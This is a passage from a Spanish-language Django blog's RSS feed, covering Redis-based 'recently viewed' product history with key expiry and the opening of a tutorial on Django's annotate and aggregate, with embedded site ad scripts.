{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;visited_products&amp;#34;&lt;/span&gt;: visited_products} &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; TemplateResponse(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;product/details.html&amp;#39;&lt;/span&gt;, context) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;asignar-una-fecha-de-expiracion-a-los-datos-en-redis&#34;&gt;Asignar una fecha de expiración a los datos en redis&lt;/h2&gt;&#xA;&lt;p&gt;Pero, que tal si no nos interesa que tantos productos vea un cliente anónimo, sino el tiempo que los guardamos.&lt;/p&gt;&#xA;&lt;p&gt;Quizás hoy el cliente quiera comprar un producto en especial, pero a lo mejor consideramos inútil mostrarle ese mismo producto tres meses después. ¿Por qué no ponerle una fecha de expiración a la lista que estamos guardando? Si el usuario no vuelve a visitar un nuevo producto tras transcurrir cierta cantidad de tiempo se borrará la información.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;r.expire&lt;/em&gt; recibe la llave que queremos que caduque y el tiempo para su eliminación, en ese orden, como sus argumentos. Para este ejemplo le he asignado tres meses. Y así se irán borrando los historiales de las sesiones inactivas que han estado inactivas por largo tiempo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_product_history_by_user&lt;/span&gt;(user_id, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lpush(user_id, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;expire(user_id, &lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;24&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;90&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; product_history_length&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Redis tiene mucho para ofrecer, y vincularlo con django te permiterá hacer mucho. Te dejo la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://redis.io/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación de redis&lt;/a&gt;&#xA; por si quieres profundizar en ella y sus &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/redis/redis-py&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;bindings en python.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Estás navegando en un ecommerce, un producto llama tu atención y haces click para verlo, no te convence. Decides ver otras opciones, haces click en un nuevo producto y, cuando haces scroll al fondo de la página, la página te muestra el primer producto que viste bajo la leyenda &amp;ldquo;Vistos recientemente&amp;rdquo;. Tú puedes hacer lo mismo con django y redis.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django Annotate y aggregate explicados</title>
      <link>https://coffeebytes.dev/es/django/django-annotate-y-aggregate-explicados/</link>
      <pubDate>Tue, 17 Nov 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/django-annotate-y-aggregate-explicados/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;La pantalla del ordenador iluminó mi rostro lleno de desesperación, me froté la cabeza con desesperación, mientras buscaba en google: &amp;ldquo;Django annotate&amp;rdquo;; una de las funciones del ORM de Django que no lograba comprender. ¿Te ha pasado también?, apuesto que sí. Ya había leído la documentación pero no me pareció lo suficientemente clara y, para colmo, la confundía frecuentemente con su gemela malvada: aggregate. Tras haber visitado varias preguntas de stackoverflow y múltiples blogs en inglés pude entenderlas a ambas. Estas notas son el resultado de esa búsqueda, es la explicación sobre annotate y aggregate de Django que a mi me hubiera gustado leer hace años.&lt;/p&gt;&#xA;&lt;p&gt;Este tutorial da por hecho que conoces lo básico sobre el ORM de Django, en caso de que no, tengo un enlace a un libro gratuito en mi entrada sobre la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/la-guia-definitiva-de-django/&#34;&gt;guia definitiva de Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Annotate y aggregate son imprescindibles para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;escalar aplicaciones de Django para servir a una multitud de usuarios&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;resumen-de-las-principales-diferencias-entre-las-anotaciones-y-agregaciones-en-django&#34;&gt;Resumen de las principales diferencias entre las anotaciones y agregaciones en Django&lt;/h2&gt;&#xA;&lt;p&gt;Si tienes prisa, aquí tienes un resumen de las diferencias entre las anotaciones y agregaciones en Django.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Annotate&lt;/th&gt;&#xA;          &lt;th&gt;Aggregate&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Agregamos información extra a cada objecto de la consulta como una propiedad extra&lt;/td&gt;&#xA;          &lt;td&gt;Resumimos toda la información de la consulta en un único valor&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Retorna un queryset&lt;/td&gt;&#xA;          &lt;td&gt;Retorna un diccionario&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Puedes concatenarlo&lt;/td&gt;&#xA;          &lt;td&gt;No puedes concatenarlo&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;django-annotate-y-aggregate-principales-diferencias-resumidas&#34;&gt;Django annotate y aggregate principales diferencias resumidas&lt;/h2&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/images/DjangoAggregateAnnotate-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/images/DjangoAggregateAnnotate-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Imagen comparativa de las diferencias entre Django annotate y Django aggregate.&#34; width=&#34;1200&#34; height=&#34;600&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Para este ejemplo vamos a crear un par de modelos ficticios que usaremos para los ejemplos:&lt;/p&gt;&#xA;&lt;p&gt;Para este ejemplo se usó Django 3.0 y Python 3.8.6&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Seller&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;150&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Order&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    seller &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(Seller, related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;orders&amp;#34;&lt;/span&gt;, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;PROTECT)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DecimalField(max_digits&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;18&lt;/span&gt;, decimal_places&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;},{\&#34;description\&#34;:\&#34;No te conformes con SELECT, UPDATE, DELETE, JOINS y UNIONS, SQL tiene MUCHO MÁS que ofrecer para hacer tu día a día más fácil. Todavía no he terminado de leer este libro pero de momento tiene muy buena pinta. Actualizaré esto cuando lo termine pero hasta ahora me siento bastante cómodo recomendándotelo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada de SQL Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103829/SQL-pocket-guide_udtfro.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3CYgHIO\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de SQL Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con consultas SQL básicas\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Tras aplicar las migraciones, el código anterior creará dos modelos: vendedor (Seller) y pedido (Order). Un vendedor puede tener muchos pedidos. Un pedido corresponde a un único vendedor y tiene un total, expresado en números decimales.&lt;/p&gt;&#xA;&lt;p&gt;A continuación voy a crear unos cuantos datos a manera de ejemplo. Tú puedes hacerlo en el admin de Django o directo en la base de datos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tabla-para-vendedor&#34;&gt;Tabla para vendedor&lt;/h3&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Id&lt;/th&gt;&#xA;          &lt;th&gt;Name&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;Poe&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;          &lt;td&gt;Lovecraft&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;          &lt;td&gt;Barker&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;tabla-para-pedido&#34;&gt;Tabla para pedido&lt;/h3&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Id&lt;/th&gt;&#xA;          &lt;th&gt;Total&lt;/th&gt;&#xA;          &lt;th&gt;Seller id&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;          &lt;td&gt;100&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;          &lt;td&gt;200&lt;/td&gt;&#xA;          &lt;td&gt;1&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;          &lt;td&gt;300&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;4&lt;/td&gt;&#xA;          &lt;td&gt;400&lt;/td&gt;&#xA;          &lt;td&gt;2&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;5&lt;/td&gt;&#xA;          &lt;td&gt;500&lt;/td&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;6&lt;/td&gt;&#xA;          &lt;td&gt;600&lt;/td&gt;&#xA;          &lt;td&gt;3&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Antes de hablar sobre annotate y aggregate hay que asegurarnos de saber como obtener la consulta SQL que hará Django.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-convertir-un-queryset-a-sql-en-django&#34;&gt;¿Cómo convertir un queryset a SQL en Django?&lt;/h2&gt;&#xA;&lt;p&gt;Probablemente ya conozcas el ORM de django y lo hayas usado para hacer búsquedas en la base de datos. Pero existe algo que muchas personas ignoran: &lt;strong&gt;es posible obtener la consulta, antes de que Django la procese y ejecute, imprimiendo la propiedad query de nuestros querysets.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Esa consulta debe tener asociada una consulta, en lenguaje SQL, a la cual podemos acceder imprimiendo la propiedad query.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(Seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;query)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SELECT app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;id, app_seller&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name FROM 